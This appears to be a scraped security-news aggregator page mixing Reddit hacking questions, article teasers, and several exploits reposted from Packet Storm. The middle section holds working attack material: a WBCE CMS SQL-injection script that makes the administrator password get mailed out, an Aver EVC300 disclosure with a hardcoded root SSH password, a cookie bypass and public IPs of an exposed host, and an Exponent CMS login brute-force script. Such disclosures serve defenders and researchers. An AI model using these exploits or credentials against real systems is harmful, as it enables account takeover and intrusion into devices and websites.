What is the Curl?Continue reading on Medium » (https://mirabbasagalarov.medium.com/using-curl-command-on-linux-with-examples-19303ff39623?source=rss------bug_bounty-5)

hacking: security in practice
Will attack such as LLMNR, NBT-NS and MDNS poisoner cause any issue to internal network?

I've seen these kind of attacks are pretty common in any internal pentest tutorial. But is this save? Will it cause any issue to customer's network?

submitted by /u/w0lfcat
[link] [comments]

https://b.thumbs.redditmedia.com/VAWu7XrcYmqW3LWYc578V4MuMJPN0NQO3sbdoMck9wo.jpg Yesterday we had 3 print and today so far only one.

When I came to work and I saw what it was I unplugged the network cable and sent a pic to our IT team via email (CYA). After no answer I called them and they keep asking me who said it was ok to unplug the printer. I said me, they were mad and told me to plug the printer back in.

I am confused how Nessus is scanning the printer. We are a remote office so our router VPN's our connection back to main office, no split tunnels or anything. The printer is on a different private subnet and when the internet is out we can't print as the printer only talks to the print server in the main office.

Any one else having their printer spit out scans like this? I know Nessus.org is 'good' company but still.

I did some Google searches but with all the news on log4j right now I couldn't find anything.

​

​

https://preview.redd.it/7xf04yhc4x681.png?width=1589&format=png&auto=webp&s=231723967964959a6cb53a4eb6ceb1504ee9a685

submitted by /u/Rriven21
[link] [comments]

hacking: security in practice
Fake number

Is there a way to find out the identity of someone using a fake what's up number?

submitted by /u/mahmoudalsayed99
[link] [comments]

hacking: security in practice
Old School DVD PIN protection

Just came across an old DVD 2000's that had a PIN protection on it. You know the kind of DVD i'm talking about. It has a phone number to call or text for the pin. Accessing the content .VOB files throw out an image every 2 seconds. So i'm just intrigued into how to find the DVD "pin". It's clearly a track selection whereby if you select the correct choices it will play. Opened the content in Hex editor and there's plenty of four numerical characters. I think it's based on selection ... what software is there to analyse this to decipher the pin? Just burning the DVD to file and will upload to drive. It's out of interest is all.

submitted by /u/-iamai-
[link] [comments]

hacking: security in practice
How is the hardware called which allows "advanced wireless sniffing" or something along the lines? (More details in the post)

So a year ago, I had a computer networks course. At that time I got very interested into that topic. Unfortunately, I lost most of my interest right after and with that also the various terminologies.

Back then, I remember that my laptop did not had a certain type of hardware which would have allowed me to do "advanced network sniffing" or something along those lines. For the life of me, I can't remember right now what it was. It had something to do with nmap and wireshark (as with most network hacking stuff) and being able to wireless record traffic or something like that. If I recall correctly, while it is not a rare thing to have for laptops it's certainly not on all. For the laptops who don't have it apparently can plug one externally.

This is also why I'm asking here, as I plan on buying a new laptop and while I'm not interested in that topic (otherwise I would have found the problem again most likely) I want to future proof my new laptop.

Hopefully I was explicit enough.

submitted by /u/CDWEBI
[link] [comments]

Exploit Collector
WBCE CMS 1.5.1 Admin Password Reset

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
WBCE CMS versions 1.5.1 and below suffer from an administrative password reset vulnerability.

MD5 | bd387503be1f4981f739444d3fc5cb4b

Download
# Exploit Title: WBCE CMS 1.5.1 - Admin Password Reset
# Google Dork: intext: "Way Better Content Editing"
# Date: 20/12/2021
# Exploit Author: citril or https://github.com/maxway2021
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: <=
# Tested on: Linux
# CVE : CVE-2021-3817
# Github repo: https://github.com/WBCE/WBCE_CMS
# Writeup: https://medium.com/@citril/cve-2021-3817-from-sqli-to-plaintext-admin-password-recovery-13735773cc75

import requests

_url = 'http://localhost/wbce/admin/login/forgot/index.php' # from mylocalhost environment
_domain = 'pylibs.org' # you have to catch all emails! I used Namecheap domain controller's 'catch all emails and redirect to specific email address' feature

headers = {
'User-Agent': 'Mozilla/5.0',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close'
}

_p = "email=%27/**/or/**/user_id=1/**/or/**/'admin%40" + _domain + "&submit=justrandomvalue"

r = requests.post(url = _url, headers = headers, data = _p)
if r.status_code == 200:
print('[+] Check your email, you are probably going to receive plaintext password which belongs to administrator.')

Source:packetstormsecurity.com

Exploit Collector
Aver EVC300 Firmware 00.10.16.36 Hardcoded Secrets

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Aver EVC300 firmware version 00.10.16.36 suffers from having multiple hard-coded secrets that can allow for access bypass.

MD5 | 4f3d0c93b72d721fb2b7ee87138144c7

Download
Firmware for Aver EVC300 (multipoint video conferencing system) v00.10.16.36 and others (as well as firmware for several other devices manufactured by Aver, potentially all multipoint video conferencing systems) contains multiple advanced features that are not well documented:

1. The web admin server continues to run even if the web administration is disabled. Check for whether access is local to the device or remote is done in Javascript using specific cookie.
By setting the cookie as follows during page load:

document.cookie="VnsSuperPassword=#qC9,kD:;CupSuperPassword=fu.1u3wk4;"
it is possible to bypass the remote access restrictions, and use "local" UI.

2. Once the "access restrictions" are bypassed, it is possible to enable normal remote access. It is also possible to reset admin password by setting
a Javascript variable in adminPwd.js (variable name j in the version we had available) to 1 using JS debugging. This disables security check asking to enter prior password.
This feature is obviously an educational tool to acquaint children with browser debug console.

3. URL <evc300/monitor/monitor.jpg is accessible regardless of authentication status, and shows low resolution image of monitor the device is connected to, or camera, depending on device status.
Older versions of firmware used URL "rimg/monitor.jpg"

4. Device has ssh daemon (dropbear, others on other devices) listening on ports 1587,1588 and 1589.
It also has a hardcoded account avermediainfo with password avi2008 that has root privileges on the device.

1587/tcp open ssh syn-ack ttl 63 Dropbear sshd 2013.60 (protocol 2.0)
1588/tcp open ssh syn-ack ttl 62 Dropbear sshd 2013.60 (protocol 2.0)
1589/tcp open ssh syn-ack ttl 62 Dropbear sshd 2013.60 (protocol 2.0)

5. By accessing device over ssh, one can read the file /mnt/others/var/Olympus/Athena.ini, where administrator password is stored in clear text ("1234" is default password):
Password="*****"
PPPoEPassword="aver"
SIPTerminalPassword=""
SIPServerPasswordOn=Y
SIPServerPassword="1234"
IwbPw="1234"
AccessCode="1234"
RegGatekeeperPwd=""
This is very convenient in case one forgot administrator password and does not want to bother with JS console.

6. As of the time of writing this, the above features can be enjoyed at the site vcdemo.aver.com (61.219.195.10), as well as several other IP addresses in the same range, such as 61.219.195.23.
Additional edutainment endpoints can be found by using Nmap, or, for example, by using censys.io to search HTML title (services.http.response.html_title="Video Conference"), and then checking resulting IP addresses.

Source:packetstormsecurity.com

Exploit Collector
Exponent CMS 2.6 Cross Site Scripting / Brute Force

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
Exponent CMS version 2.6 suffers from cross site scripting and brute forcing vulnerabilities.

MD5 | 0597e59869ef1eb78f2169519eab8384

Download
# Exploit Title: Exponent CMS 2.6 - Multiple Vulnerabilities
# Exploit Author: heinjame
# Date: 22/10/2021
# Exploit Author: picaro_o
# Vendor Homepage: https://www.exponentcms.org/
# Version:
# Tested on: Linux os

*Stored XSS*

Affected parameter = >
http://127.0.0.1:8082/expcms/text/edit/id/{id}/src/@footer (Title,
Text Block)

Payload =

** *Database credential are disclosed in response ***

POC
```
var adminerwindow = function (){
var win =
window.open('/expcms/external/adminer/admin.php?server=localhost&username=root&db=exponentcms');
if (!win) { err(); }
}
```

**Authentication Bruteforce*
```
import argparse
import requests
import sys

parser = argparse.ArgumentParser()
parser.add_argument("url", help="URL")
parser.add_argument("Username list", help="Username List")
parser.add_argument("Password list", help="Password List")
pargs = parser.parse_args()

host = sys.argv[1]
userlist = sys.argv[2]
passlist = sys.argv[3]

try:
readuser = open(userlist)
readpass = open(passlist)
except:
print("Unable to load files")
exit()
def usernamebrute():
s = requests.Session()
for username in readuser.readlines():
brute={
'controller':(None,'users'),
'src':(None,''),
'int':(None,''),
'action':(None,'send_new_password'),
'username':(None,username.strip()),
}
bruteforce = s.post(host+"/index.php",files=brute)
status = s.get(host+"/users/reset_password")
if "administrator" in status.text:
print("[+] Found username : "+ username)
adminaccount = username
checkpoint = True
return adminaccount,checkpoint
break

def passwordbrute(adminaccount):
s = requests.Session()
s.cookies.set("csrftoken", "abc")
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0)
Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'COntent-TYpE': 'applicatiOn/x-WWW-fOrm-urlencoded1',
'Referer': host+'/login/showlogin'
}
for password in readpass.readlines():
brute={
'controller':'login',
'src':'',
'int':'',
'action':'login',
'username':adminaccount,
'password':password.strip()
}
bruteforce = s.post(host+"/index.php",headers=header,data=brute)
# print(bruteforce.text)
status = s.get(host+"/login/showlogin",cookies=csrf)
print(status.text)
if "Invalid Username / Password" not in status.text:
print("[+] Found Password : "+ password)
break

adminaccount,checkpoint = usernamebrute()
if checkpoint == True:
passwordbrute(adminaccount)
else:
print("Can't find username,We can't proceed sorry :(")

```

Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
The Future of Ransomware

Focusing on basic security controls and executing them well is the best way to harden your systems against an attack.

Bypassing OTP Verification for Changing PIN in Registered Mobile Banking Account.

Assalamu’alaikum (Peace be upon you)
Read more...

Log4j Vulnerability Explanation In Details

Everything you need to know about log4j vulnerability as a hacker !
Read more...

Hacking on Medium
Using Curl Command On Linux With Examples

https://cdn-images-1.medium.com/max/678/1*RDJQW-g9QM5IPsm38r8bYQ.png
What is the Curl?

Continue reading on Medium »